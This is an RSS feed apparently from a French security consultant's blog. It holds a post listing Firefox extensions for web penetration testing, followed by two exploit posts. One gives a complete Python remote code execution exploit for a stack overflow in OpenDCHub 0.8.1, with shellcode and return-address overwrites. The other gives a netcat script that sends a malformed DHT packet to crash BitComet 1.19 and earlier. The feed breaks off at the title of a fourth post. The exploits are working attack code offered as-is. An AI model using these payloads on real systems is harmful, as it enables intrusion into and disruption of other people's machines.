<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Pierre Noguès</title>
	
	<link>http://www.indahax.com</link>
	<description>Consultant en sécurité informatique</description>
	<lastBuildDate>Wed, 31 Mar 2010 12:35:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/PierreNogues" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="pierrenogues" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Extensions Firefox pour les pentests</title>
		<link>http://www.indahax.com/pentest/extension-firefox-pentest</link>
		<comments>http://www.indahax.com/pentest/extension-firefox-pentest#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:59:35 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[extension firefox]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=532</guid>
		<description><![CDATA[Allez hop aujourd&#8217;hui je vais vous présenter une petite liste d&#8217;extension Firefox que j&#8217;utilise couramment au cours de mes tests d&#8217;intrusion Web. J&#8217;utilise aussi pas mal d&#8217;autres outils à côté comme Burp Suite pro ou des petits scripts maison, mais ça, j&#8217;en parlerai une prochaine fois. J&#8217;utilise toutes ces extensions dans un profil utilisateur special [...]]]></description>
			<content:encoded><![CDATA[<p><img class=alignleft src="/images/firefox-black.jpg" alt="Extensions firefox pour les pentest" />Allez hop aujourd&#8217;hui je vais vous présenter une petite liste d&#8217;extension Firefox que j&#8217;utilise couramment au cours de mes tests d&#8217;intrusion Web.<br />
<span id="more-532"></span><br />
J&#8217;utilise aussi pas mal d&#8217;autres outils à côté comme Burp Suite pro ou des petits scripts maison, mais ça, j&#8217;en parlerai une prochaine fois. </p>
<p>J&#8217;utilise toutes ces extensions dans un profil utilisateur special dédié au pentest, il vaut mieux éviter d&#8217;utiliser 15 000 extensions simultanément dans Firefox pour des questions de stabilité/performance/ergonomie.</p>
<p>Cette liste représente quasiment l&#8217;intégralité des extensions que j&#8217;utilise pour les pentests, il y en a beaucoup moins que dans <a href="http://www.firecat.fr" >le catalogue FireCat</a>, mais ça me suffit largement pour faire tout ce que je veux <img src='http://www.indahax.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<ul>
<li><img alt="UrlParams" title="UrlParams" src="http://www.indahax.com/images/pentest-web-tools/urlparams.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/1290">UrlParams</a></strong></li>
<p>Probablement l&#8217;extension dont je me sers le plus souvent, elle permet de modifier rapidement les paramètres GET/POST et le referrer. Ça me permet d&#8217;éviter d&#8217;avoir à utiliser Burp pour des opérations assez simples comme modifier les données POST.</p>
<li><img alt="Hackbar" title="HackBar" src="http://www.indahax.com/images/pentest-web-tools/hackbar.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/3899">Hack Bar</a></strong></li>
<p>Très pratique pendant l&#8217;exploitation des injections SQL, surtout quand les quotes sont bloqués, l&#8217;extension vous permet de convertir une chaine de caractère en son équivalent CHAR( ASCII )&#8230; Elle contient aussi quelques fonctions d&#8217;encodage et de chiffrement bien pratique. Un must have.</p>
<li><img alt="Firebug" title="Firebug" src="http://www.indahax.com/images/pentest-web-tools/firebug.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/1843">Firebug</a></strong></li>
<p>Très utilise pour le développement Web et donc très pratique pour le développement des exploits XSS. Je m&#8217;en sers principalement pour faire joujou avec la console Javascript, analyser la structure DOM et voir les requêtes javascript XHR faites en arrière-plan.</p>
<li><img alt="Firecookie" title="Firecookie" src="http://www.indahax.com/images/pentest-web-tools/firecookie.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/6683">Firecookie</a></strong></li>
<p>Pour jouer avec les cookies.</p>
<li><img alt="Force Content-Type" title="Force Content-Type" src="http://www.indahax.com/images/pentest-web-tools/extension.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/3207">Force Content-Type</a></strong></li>
<p>Très pratique lorsque le navigateur Firefox gère spécifiquement certains types de fichier comme les pdfs ou les fichiers audios, cette extension permet d&#8217;afficher directement le fichier en brut dans le navigateur et de ne pas lancer l&#8217;application. Utile lorsque l&#8217;on trifouille des pages qui génèrent dynamiquement un certain type de fichier.</p>
<li><img alt="Web Developer" title="Web Developer" src="http://www.indahax.com/images/pentest-web-tools/webdev.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/60">Web Developer</a></strong></li>
<p>Encore une extension pour le développement web, elle est très utile pour effacer ses cookies, afficher les mots de passe en clair, désactiver le chargement des images, voir les commentaires&#8230; Il y a vraiment plein d&#8217;options très utiles&#8230;</p>
<li><img alt="Yes Script" title="Yes Script" src="http://www.indahax.com/images/pentest-web-tools/yesscript.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/4922">Yes Script</a></strong></li>
<p>Contrairement à NoScript qui fonctionne sur un système de whitelist (tous les scripts sont bloqués par défaut, il faut les autoriser un par un), YesScript fonctionne sur un système de blacklist. Utile lorsque l&#8217;on audite des sites avec des animations Flash et Javascript qui consomme 99% du CPU <img src='http://www.indahax.com/wp-includes/images/smilies/icon_neutral.gif' alt=':|' class='wp-smiley' /> &#8230;</p>
<li><img alt="Foxy Proxy" title="Foxy Proxy" src="http://www.indahax.com/images/pentest-web-tools/foxyproxy.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/2464">Foxy Proxy</a></strong></li>
<p>En plus de permettre de changer rapidement de proxy, FoxyProxy offre la possibilité de choisir un proxy dynamiquement en fonction de l&#8217;URL.</p>
<li><img alt="Torbutton" title="Torbutton" src="http://www.indahax.com/images/pentest-web-tools/torbutton.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/2275">Torbutton</a></strong></li>
<p>Indispensable lorsque l&#8217;on utilise Tor, bloque tous les tricks connus qui permettent de démasquer un utilisateur anonyme (historique, applet Java, Flash&#8230;). Bien sûr quand on utilise Tor,  il vaut mieux <a href="http://www.indahax.com/pentest/secure-tor" >être vraiment sûr que tout passe par Tor</a>.</p>
<li><img alt="Maltego Mesh" title="Maltego Mesh" src="http://www.indahax.com/images/pentest-web-tools/maltego-mesh.png" class="alignnone" width="32" height="32" /> <strong><a href="http://www.paterva.com/web4/index.php/client/mesh">Maltego Mesh</a></strong></li>
<p>À la base Maltego est un outil spécialisé dans la recherche d&#8217;informations. Cette extension permet de mettre en évidence certains types d&#8217;information affichés sur une page comme des adresses IPs, des emails, des numéros de téléphone, des noms de famille&#8230; Bien pratique, cependant, je laisse cette extension désactiver par défaut, elle est instable consomme énormément de CPU.</p>
<li><img alt="Modify Headers" title="Modify Headers" src="http://www.indahax.com/images/pentest-web-tools/extension.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/967">Modify Headers</a></strong></li>
<p>Comme son nom l&#8217;indique, elle permet de modifier les en-têtes HTTP. Je me sers rarement de cette extension, je préfère passer par Burp.</p>
<li><img alt="BugMeNot" title="BugMeNot" src="http://www.indahax.com/images/pentest-web-tools/bugmenot.png"  class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/6349">BugMeNot</a></strong></li>
<p>Cette extension n&#8217;est pas vraiment en rapport avec les pentests mais je l&#8217;aime bien <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . bugmenot.com recense des logins/passwords pour des milliers de sites. Elle vous permet de vous identifier en un click sur des sites demandant un compte utilisateur pour accéder à certaines sections&#8230; Gros gain de temps <img src='http://www.indahax.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<li><img alt="Autofill Forms" title="Autofill Forms" src="http://www.indahax.com/images/pentest-web-tools/autofill.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/4775">Autofill Forms</a></strong></li>
<p>Permet de remplir un profil utilisateur avec des paramètres prédéfinis (adresse email , nom, age, ville&#8230;). Fait gagner du temps.
</ul>
<p>Et voilà, c&#8217;est fini, la prochaine je balancerai peut être une liste de bookmarks intéressants&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/extension-firefox-pentest/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>OpenDCHub 0.8.1 Remote Code Execution Exploit</title>
		<link>http://www.indahax.com/exploits/opendchub-0-8-1-remote-code-execution-exploit</link>
		<comments>http://www.indahax.com/exploits/opendchub-0-8-1-remote-code-execution-exploit#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:54:42 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[opendchub]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[remote code execution]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=600</guid>
		<description><![CDATA[#!/usr/bin/python # # OpenDcHub 0.8.1 Remote Code Execution Exploit # Pierre Nogues - http://www.indahax.com # # Description: # OpenDcHub is a direct connect hub for Linux # # OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow. # # Affected versions : # OpenDcHub 0.8.1 # # Plateforms : # Unix [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-600"></span></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># OpenDcHub 0.8.1 Remote Code Execution Exploit</span>
<span style="color: #808080; font-style: italic;"># Pierre Nogues - http://www.indahax.com</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Description:</span>
<span style="color: #808080; font-style: italic;">#     OpenDcHub is a direct connect hub for Linux</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#     OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Affected versions :</span>
<span style="color: #808080; font-style: italic;">#     OpenDcHub 0.8.1</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Plateforms :</span>
<span style="color: #808080; font-style: italic;">#     Unix</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Usage :</span>
<span style="color: #808080; font-style: italic;">#     ./exploit.py</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>
&nbsp;
host = <span style="color: #483d8b;">'192.168.1.9'</span>
port = <span style="color: #ff4500;">5000</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># must not contain \x36 \x53 \x00 bytes</span>
<span style="color: #808080; font-style: italic;"># max shellcode size = 103 bytes use exploit v2 otherwise</span>
shellcode=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>e7<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>de<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>5e<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c6<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>0a<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>17<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>7d&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f3<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>be<span style="color: #000099; font-weight: bold;">\x</span>d2<span style="color: #000099; font-weight: bold;">\x</span>cf<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>b4<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>75&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b4<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>e3<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>9c<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>c2&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>17<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>ea<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>bc&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>a8<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>8d<span style="color: #000099; font-weight: bold;">\x</span>3d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>29&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>e6<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>9d<span style="color: #000099; font-weight: bold;">\x</span>2b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>2b&quot;</span> 
shellcode+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2b&quot;</span>
&nbsp;
s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host, port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;$ValidateNick joseph|&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
hax=<span style="color: #483d8b;">&quot;$MyINFO $ALL joseph &quot;</span>
hax+=shellcode
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">103</span> - <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>shellcode<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
    hax+=<span style="color: #483d8b;">&quot;A&quot;</span>
hax+=<span style="color: #483d8b;">&quot;$&quot;</span>
hax+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>80&quot;</span> <span style="color: #808080; font-style: italic;"># esp</span>
hax+=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>bf&quot;</span> <span style="color: #808080; font-style: italic;"># eip</span>
hax+=<span style="color: #483d8b;">&quot;S:-1|&quot;</span>
&nbsp;
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span>hax<span style="color: black;">&#41;</span>
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #483d8b;">&quot;&quot;&quot;
# V2
# more complex version working too, it have more space for the shellcode
&nbsp;
hax=&quot;$MyINFO $ALL joseph AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FE&quot; # local var int len of commands.c:my_info() must be a negative value
hax+=&quot;TTTTUUUUVVVVWWWWXXXXYYYYZZZZBBBBCCCCEEEEEEE$&quot;
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>80&quot; # esp
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>bf&quot; # eip
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>CC<span style="color: #000099; font-weight: bold;">\x</span>CC<span style="color: #000099; font-weight: bold;">\x</span>CC<span style="color: #000099; font-weight: bold;">\x</span>CC&quot; # useless var
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>10<span style="color: #000099; font-weight: bold;">\x</span>f0<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>bf&quot; # this address + x20 will be overwritten by 4 bytes
# shellcode time
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;
hax+=&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;
hax+=shellcode
hax+=&quot;|&quot;
&quot;&quot;&quot;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/exploits/opendchub-0-8-1-remote-code-execution-exploit/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>BitComet </title>
		<link>http://www.indahax.com/exploits/bitcomet-remote-dos-exploit</link>
		<comments>http://www.indahax.com/exploits/bitcomet-remote-dos-exploit#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:52:02 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Bitcomet]]></category>
		<category><![CDATA[DOS]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=595</guid>
		<description><![CDATA[#!/bin/sh # # BitComet &#60;= 1.19 Remote DOS Exploit # Pierre Nogues - http://www.indahax.com/ # # Description: # BitComet is a torrent client # # BitComet doesn't handle malicious DHT packet with an invalid bencoded message. # # Affected versions : # BitComet &#60;= 1.19 # # Plateforms : # Windows # # Usage : [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-595"></span></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># BitComet &lt;= 1.19 Remote DOS Exploit</span>
<span style="color: #666666; font-style: italic;"># Pierre Nogues - http://www.indahax.com/</span>
<span style="color: #666666; font-style: italic;"># </span>
<span style="color: #666666; font-style: italic;"># Description:</span>
<span style="color: #666666; font-style: italic;">#     BitComet is a torrent client</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;">#     BitComet doesn't handle malicious DHT packet with an invalid bencoded message.</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Affected versions :</span>
<span style="color: #666666; font-style: italic;">#     BitComet &lt;= 1.19</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Plateforms :</span>
<span style="color: #666666; font-style: italic;">#     Windows</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Usage :</span>
<span style="color: #666666; font-style: italic;">#     ./exploit.sh ip port</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$#</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">2</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;./exploit.sh ip port&quot;</span>
    <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
nc <span style="color: #660033;">-u</span> $<span style="color: #000000;">1</span> $<span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span> .
d4294967285:y1:q1:t4:\x001:q4:ping1:ad2:id20:01234567890123456789ee
.</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/exploits/bitcomet-remote-dos-exploit/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox malware discovered</title>
		<link>http://www.indahax.com/malware/firefox-malware-discovered</link>
		<comments>http://www.indahax.com/malware/firefox-malware-discovered#comments</comments>
